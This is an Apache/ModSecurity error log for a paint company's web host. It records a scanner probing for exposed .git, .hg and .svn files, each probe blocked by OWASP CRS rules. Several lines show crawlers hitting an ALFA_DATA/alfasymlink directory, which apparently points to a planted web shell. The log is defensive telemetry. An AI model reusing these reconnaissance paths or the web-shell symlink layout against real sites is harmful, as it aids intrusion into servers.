[Sat Oct 24 14:24:26.403374 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 52.45.92.83:49846] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:24:46.044039 2026] [core:error] [pid 2677793:tid 2677793] (13)Permission denied: [client 185.191.171.14:21858] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-max/trace
[Sat Oct 24 14:24:46.378882 2026] [ssl:error] [pid 2677786:tid 2677786] (70014)End of file found: [client 184.73.195.18:15769] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:24:50.500314 2026] [ssl:error] [pid 2677843:tid 2677843] (70014)End of file found: [client 52.45.92.83:59872] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:24:51.439911 2026] [core:error] [pid 2677785:tid 2677785] (13)Permission denied: [client 85.208.96.195:17982] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_struct/hwcache_align
[Sat Oct 24 14:24:58.403696 2026] [ssl:error] [pid 2677776:tid 2677776] (5)Input/output error: [client 50.16.216.166:49207] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:04.748431 2026] [ssl:error] [pid 2677788:tid 2677788] (70014)End of file found: [client 54.92.171.106:15191] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:06.348054 2026] [ssl:error] [pid 2684563:tid 2684563] (70014)End of file found: [client 3.209.174.110:18933] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:09.732120 2026] [ssl:error] [pid 2684565:tid 2684565] (70014)End of file found: [client 85.208.96.193:55068] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:16.109724 2026] [core:error] [pid 2677775:tid 2677775] (13)Permission denied: [client 85.208.96.196:25758] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/Acpi-Operand/remote_node_defrag_ratio
[Sat Oct 24 14:25:17.441162 2026] [security2:error] [pid 2684560:tid 2684560] [client 34.7.129.126:12030] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/format"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.svn/format"] [unique_id "atz4Dcm_Jh8ntejZuLixdQAAAA8"]
[Sat Oct 24 14:25:17.441405 2026] [security2:error] [pid 2684560:tid 2684560] [client 34.7.129.126:12030] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.svn/format"] [unique_id "atz4Dcm_Jh8ntejZuLixdQAAAA8"]
[Sat Oct 24 14:25:17.441699 2026] [security2:error] [pid 2684560:tid 2684560] [client 34.7.129.126:12030] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.svn/format"] [unique_id "atz4Dcm_Jh8ntejZuLixdQAAAA8"]
[Sat Oct 24 14:25:17.468056 2026] [security2:error] [pid 2684565:tid 2684565] [client 34.7.129.126:12058] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "atz4DUEt6Sqf_v1153XqvQAAABM"]
[Sat Oct 24 14:25:17.468318 2026] [security2:error] [pid 2684565:tid 2684565] [client 34.7.129.126:12058] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "atz4DUEt6Sqf_v1153XqvQAAABM"]
[Sat Oct 24 14:25:17.468649 2026] [security2:error] [pid 2684565:tid 2684565] [client 34.7.129.126:12058] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "atz4DUEt6Sqf_v1153XqvQAAABM"]
[Sat Oct 24 14:25:18.450535 2026] [ssl:error] [pid 2684577:tid 2684577] (70014)End of file found: [client 34.239.197.197:43138] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 14:25:18.558141 2026] [security2:error] [pid 2684558:tid 2684558] [client 34.7.129.126:12044] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/hgrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/hgrc"] [unique_id "atz4DtkA7vM5pxsXalz7wAAAAAw"]
[Sat Oct 24 14:25:18.558398 2026] [security2:error] [pid 2684558:tid 2684558] [client 34.7.129.126:12044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/hgrc"] [unique_id "atz4DtkA7vM5pxsXalz7wAAAAAw"]
[Sat Oct 24 14:25:18.558682 2026] [security2:error] [pid 2684558:tid 2684558] [client 34.7.129.126:12044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/hgrc"] [unique_id "atz4DtkA7vM5pxsXalz7wAAAAAw"]
[Sat Oct 24 14:25:20.570967 2026] [security2:error] [pid 2684558:tid 2684558] [client 34.7.129.126:12044] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "atz4ENkA7vM5pxsXalz7wQAAAAw"]
[Sat Oct 24 14:25:20.571121 2026] [security2:error] [pid 2684558:tid 2684558] [client 34.7.129.126:12044] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "atz4ENkA7vM5pxsXalz7wQAAAAw"]
[Sat Oct 24 14:25:20.571369 2026] [security2:error] [pid 2684558:tid 2684558] [client 34.7.129.126:12044] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/requires"] [unique_id "atz4ENkA7vM5pxsXalz7wQAAAAw"]
[Sat Oct 24 14:25:24.700262 2026] [security2:error] [pid 2677785:tid 2677785] [client 34.7.129.126:12178] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/update"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/hooks/update"] [unique_id "atz4FDscjnm-Rk8uGagqUwAAAAA"]
[Sat Oct 24 14:25:24.700501 2026] [security2:error] [pid 2677785:tid 2677785] [client 34.7.129.126:12178] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/hooks/update"] [unique_id "atz4FDscjnm-Rk8uGagqUwAAAAA"]
[Sat Oct 24 14:25:24.700810 2026] [security2:error] [pid 2677785:tid 2677785] [client 34.7.129.126:12178] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/hooks/update"] [unique_id "atz4FDscjnm-Rk8uGagqUwAAAAA"]
[Sat Oct 24 14:25:25.122517 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.7.129.126:12144] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/branch"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/branch"] [unique_id "atz4FYrDEr-C1RJ7dLmAaAAAAAg"]
[Sat Oct 24 14:25:25.122879 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.7.129.126:12144] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/branch"] [unique_id "atz4FYrDEr-C1RJ7dLmAaAAAAAg"]
[Sat Oct 24 14:25:25.123236 2026] [security2:error] [pid 2677843:tid 2677843] [client 34.7.129.126:12144] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/branch"] [unique_id "atz4FYrDEr-C1RJ7dLmAaAAAAAg"]
[Sat Oct 24 14:25:25.506096 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.7.129.126:12154] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/hgrc"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/hgrc"] [unique_id "atz4FWZJIyiQiKFtr2-5TgAAABU"]
[Sat Oct 24 14:25:25.506273 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.7.129.126:12154] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/hgrc"] [unique_id "atz4FWZJIyiQiKFtr2-5TgAAABU"]
[Sat Oct 24 14:25:25.506558 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.7.129.126:12154] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/hgrc"] [unique_id "atz4FWZJIyiQiKFtr2-5TgAAABU"]
[Sat Oct 24 14:25:26.403465 2026] [security2:error] [pid 2678927:tid 2678927] [client 34.7.129.126:20742] ModSecurity: Warning. Matched phrase "/.svn/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.svn/ found within REQUEST_FILENAME: /.svn/format"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.svn/format"] [unique_id "atz4FouO7ED0bihu6UrV_wAAAAc"]
[Sat Oct 24 14:25:26.403745 2026] [security2:error] [pid 2678927:tid 2678927] [client 34.7.129.126:20742] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.svn/format"] [unique_id "atz4FouO7ED0bihu6UrV_wAAAAc"]
[Sat Oct 24 14:25:26.403984 2026] [security2:error] [pid 2678927:tid 2678927] [client 34.7.129.126:20742] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.svn/format"] [unique_id "atz4FouO7ED0bihu6UrV_wAAAAc"]
[Sat Oct 24 14:25:26.592305 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.7.129.126:12154] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/store/requires"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "atz4FmZJIyiQiKFtr2-5TwAAABU"]
[Sat Oct 24 14:25:26.592558 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.7.129.126:12154] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "atz4FmZJIyiQiKFtr2-5TwAAABU"]
[Sat Oct 24 14:25:26.592926 2026] [security2:error] [pid 2677776:tid 2677776] [client 34.7.129.126:12154] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/store/requires"] [unique_id "atz4FmZJIyiQiKFtr2-5TwAAABU"]
[Sat Oct 24 14:25:26.597692 2026] [security2:error] [pid 2684567:tid 2684567] [client 34.7.129.126:20660] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/info/refs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/info/refs"] [unique_id "atz4FpifY9pcewAnfCE05QAAABY"]
[Sat Oct 24 14:25:26.597951 2026] [security2:error] [pid 2684567:tid 2684567] [client 34.7.129.126:20660] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/info/refs"] [unique_id "atz4FpifY9pcewAnfCE05QAAABY"]
[Sat Oct 24 14:25:26.598273 2026] [security2:error] [pid 2684567:tid 2684567] [client 34.7.129.126:20660] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/info/refs"] [unique_id "atz4FpifY9pcewAnfCE05QAAABY"]
[Sat Oct 24 14:25:27.425518 2026] [security2:error] [pid 2684554:tid 2684554] [client 34.7.129.126:7608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sesion1.sherwinpinturas.com"] [uri "/js/main.js"] [unique_id "atz4Fz3Y7QUXkIj2K9lWDAAAAAk"]
[Sat Oct 24 14:25:27.425551 2026] [security2:error] [pid 2684554:tid 2684554] [client 34.7.129.126:7608] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sesion1.sherwinpinturas.com"] [uri "/js/main.js"] [unique_id "atz4Fz3Y7QUXkIj2K9lWDAAAAAk"]
[Sat Oct 24 14:25:27.558703 2026] [security2:error] [pid 2684567:tid 2684567] [client 34.7.129.126:20660] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/hooks/pre-push"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/hooks/pre-push"] [unique_id "atz4F5ifY9pcewAnfCE05gAAABY"]
[Sat Oct 24 14:25:27.558939 2026] [security2:error] [pid 2684567:tid 2684567] [client 34.7.129.126:20660] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/hooks/pre-push"] [unique_id "atz4F5ifY9pcewAnfCE05gAAABY"]
[Sat Oct 24 14:25:27.559234 2026] [security2:error] [pid 2684567:tid 2684567] [client 34.7.129.126:20660] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.git/hooks/pre-push"] [unique_id "atz4F5ifY9pcewAnfCE05gAAABY"]
[Sat Oct 24 14:25:27.701161 2026] [security2:error] [pid 2677785:tid 2677785] [client 34.7.129.126:12178] ModSecurity: Warning. Matched phrase "/.hg/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.hg/ found within REQUEST_FILENAME: /.hg/branch"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/branch"] [unique_id "atz4Fzscjnm-Rk8uGagqVgAAAAA"]
[Sat Oct 24 14:25:27.701385 2026] [security2:error] [pid 2677785:tid 2677785] [client 34.7.129.126:12178] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "sesion1.sherwinpinturas.com"] [uri "/.hg/branch"] [unique_id "atz4Fzscjnm-Rk8uGagqVgAAAAA"]
